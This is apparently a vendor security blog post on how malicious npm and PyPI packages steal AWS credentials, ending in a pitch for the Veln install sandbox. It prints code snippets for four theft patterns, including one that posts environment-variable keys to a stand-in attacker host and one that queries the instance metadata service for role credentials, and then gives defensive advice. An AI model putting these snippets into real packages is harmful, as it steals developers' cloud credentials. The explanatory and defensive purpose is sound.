Malicious packages targeting AWS credentials
If you ran an analysis of the most common environment variable names accessed by malicious npm and PyPI packages over the last three years, the results would not be surprising:
AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEYAWS_SESSION_TOKENAWS_DEFAULT_REGION
AWS credentials appear in more malicious packages than any other secret type. This is not coincidence.
Why AWS credentials are the primary target
They're universally present in developer environments. Cloud infrastructure is the default for modern software development. The majority of professional developers working on web applications, data pipelines, ML projects, or DevOps tooling have AWS credentials configured on their development machines and in their CI environments.
They have immediate financial value. Unlike GitHub tokens (which require navigation of rate limits, code access permissions, and downstream exploitation to monetize) or database credentials (which require network access to the database), AWS access keys can be used immediately to spin up compute resources. The most common post-exfiltration use of stolen AWS credentials is cryptocurrency mining — run a GPU fleet for 24 hours before the account owner notices the bill spike.
They're stored in predictable places. AWS credentials are typically in ~/.aws/credentials, in AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY environment variables, or in instance metadata service responses. Malicious packages know exactly where to look.
They often have broad permissions. Developers frequently use credentials with AdministratorAccess or PowerUserAccess — permissions that are convenient for development but devastating if stolen.
The credential access patterns
Analysis of malicious packages that targeted AWS credentials between 2022 and 2025 shows four main access patterns:
Pattern 1: Direct environment variable read
import os
import base64
import requests
aws_key = os.environ.get('AWS_ACCESS_KEY_ID', '')
aws_secret = os.environ.get('AWS_SECRET_ACCESS_KEY', '')
if aws_key:
requests.post('https://exfil.attacker.example/',
data=base64.b64encode(f"{aws_key}:{aws_secret}".encode()))
Simple and common. Checks for the variable directly, exfiltrates if found.
Pattern 2: File read from ~/.aws/credentials
import os
cred_file = os.path.expanduser('~/.aws/credentials')
if os.path.exists(cred_file):
with open(cred_file) as f:
# send file contents to exfiltration endpoint
Catches credentials that are stored in the credentials file but not exported to the environment.
Pattern 3: Instance metadata service (IMDS) scraping
import urllib.request
try:
# EC2 instance metadata — provides IAM role credentials
response = urllib.request.urlopen(
'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
timeout=1
)
# ... parse and exfiltrate the role name and credentials
except:
pass
This pattern specifically targets EC2 instances and Lambda functions. If the malicious package runs in a cloud environment with an IAM role attached, this retrieves the role's temporary credentials without needing any environment variables.
Pattern 4: Profile enumeration
import configparser, os
cfg = configparser.ConfigParser()
cfg.read(os.path.expanduser('~/.aws/config'))
cfg.read(os.path.expanduser('~/.aws/credentials'))
# Sends all profiles, not just the default
Attackers who want maximum value enumerate all configured AWS profiles, not just the default one. A developer with multiple AWS accounts configured may have production credentials in a named profile even if the default profile is a development account.
Protecting your AWS credentials in development environments
Use short-lived credentials wherever possible. The most effective mitigation is using credentials that expire quickly. AWS IAM Identity Center (formerly AWS SSO) provides short-lived temporary credentials that are rotated automatically:
aws sso login --profile my-profile
# Credentials valid for 8 hours, then automatically expire
Use named profiles, not environment variables. If your credentials are in a named profile rather than exported as environment variables, Pattern 1 (env var read) doesn't work. Patterns 2 and 4 still work, but they're harder to exploit from a postinstall script that runs in your project directory.
Limit credential permissions. Use an IAM policy that grants only the specific permissions needed for your development work. The principle of least privilege applies here: if a malicious package exfiltrates your credentials, the damage is limited to what those credentials can do.
Monitor your AWS account. Enable CloudTrail and set up billing alerts. An alert when your AWS bill exceeds a threshold is the most common way developers first notice stolen credential abuse.
Use Veln. Veln's canary sandbox intercepts all outbound network calls and all filesystem reads outside the package directory during install. Patterns 1–4 above are all caught:
- Pattern 1 (env var read + POST): observed in sandbox as "env var access + outbound POST"
- Pattern 2 (file read): observed as "filesystem read outside package directory"
- Pattern 3 (IMDS): observed as "outbound connection to 169.254.169.254 — instance metadata service"
- Pattern 4 (profile enumeration): observed as "filesystem read of ~/.aws/credentials and ~/.aws/config"
All four produce a behavioral report with specific details about what was attempted.
AWS credentials are the most commonly targeted secret in supply chain attacks. Veln's sandbox catches every access pattern before it succeeds.